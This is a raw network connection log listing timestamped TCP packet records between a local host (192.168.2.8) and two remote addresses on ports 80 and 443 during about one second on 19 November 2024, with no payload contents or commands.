Nov 19, 2024 18:00:53.273801088 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.273819923 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.273829937 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273895979 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.274013996 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274033070 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274045944 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274056911 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274070024 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274084091 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.274111032 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.274593115 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274610996 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274622917 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274633884 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274651051 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.274658918 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.274688959 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.275037050 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275048018 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275059938 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275089025 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275089979 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.275100946 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275110006 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.275113106 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275125980 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275141954 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.275168896 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.275177956 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275296926 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.275953054 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275965929 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.275978088 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276020050 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276031971 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276043892 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276045084 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276057005 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276068926 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276073933 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276082039 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276084900 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276106119 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276145935 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276856899 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276869059 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276880026 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276906967 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276937962 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276937962 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276948929 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276962042 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276971102 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.276976109 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276989937 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.276998043 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.277008057 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.277034998 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.277786016 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.277797937 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.277810097 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.277842999 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.277868986 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.278039932 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.278078079 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.303842068 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.303864956 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.303922892 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:53.303926945 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.303975105 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:53.305273056 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:53.305289030 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.398088932 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398102999 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398113012 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398147106 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398180962 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398184061 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398221970 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398251057 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398262978 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398274899 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398296118 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398303986 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398307085 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398318052 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398327112 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398334026 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398354053 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398371935 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398627996 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398638964 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398649931 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398663044 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398680925 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398677111 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398694038 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398705006 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398715019 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.398725033 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398725033 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398741961 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.398772001 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399451017 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399461031 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399471045 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399482012 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399494886 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399501085 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399524927 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399544001 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399561882 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399573088 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399588108 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399600029 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399610996 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399621010 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399627924 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399631977 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399643898 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399643898 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399656057 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399667025 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399692059 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399704933 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399715900 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399718046 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399727106 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399739981 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399745941 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399750948 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399760962 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399763107 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399772882 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399779081 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399785995 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399810076 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399827003 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399827003 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399837971 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399848938 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399868011 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399878979 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399879932 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399885893 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.399893045 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.399955034 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.400006056 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400017023 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400027037 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400037050 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400048971 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400057077 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.400062084 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400073051 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400079966 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.400085926 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.400099993 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.400113106 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.400158882 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403080940 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403091908 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403103113 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403115034 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403131008 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403135061 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403147936 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403156996 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403161049 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403173923 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403199911 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403213978 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403255939 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403266907 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403278112 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403290033 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403300047 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403302908 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403321028 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403323889 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403357983 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403386116 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403507948 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403518915 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403537989 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403548956 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403551102 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403562069 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403590918 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403609991 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403620005 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403631926 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403669119 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403671980 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403683901 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403695107 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403707027 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403709888 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403738976 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403877974 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403891087 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403903008 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403908014 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.403932095 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.403949022 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689457893 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689476967 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689491987 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689503908 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689517975 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689519882 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689531088 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689553976 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689582109 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689594030 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689599037 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689606905 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689620018 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689623117 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689641953 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689651012 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689654112 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689666986 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689682007 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689688921 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689701080 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689702034 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689713955 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689730883 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689733982 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689733982 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689742088 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689754963 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689760923 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689768076 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689779997 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689790010 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689790964 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689802885 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689824104 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689852953 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689913034 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689924955 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689935923 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689950943 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689964056 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689970016 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.689975023 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689986944 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.689999104 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690002918 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690011024 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690021992 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690021992 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690033913 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690038919 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690047026 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690066099 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690076113 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690078974 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690088987 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690099001 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690109968 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690112114 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690124989 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690135002 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690154076 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690176964 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690253973 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690268993 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690287113 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690298080 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690306902 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690309048 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690330982 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690339088 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690344095 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690355062 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690357924 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690368891 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690380096 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690383911 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690391064 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690402985 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690413952 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690416098 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690426111 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690429926 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690438986 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690448999 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690459967 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690460920 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690470934 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690484047 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690488100 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690495014 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690506935 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690510035 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690524101 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690526962 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690551996 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690577984 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690752983 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690766096 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690777063 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690790892 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690800905 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690803051 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690814018 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690840006 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690849066 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690854073 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690875053 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690905094 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690912008 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690958977 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.690980911 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.690989971 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691009998 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691024065 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691039085 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691060066 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691068888 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691093922 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691104889 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691128969 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691134930 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691160917 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691175938 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691199064 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691207886 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691235065 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691246033 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691270113 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691287041 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691306114 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691324949 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.691360950 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.691390991 CET	80	62272	185.215.113.16	192.168.2.8
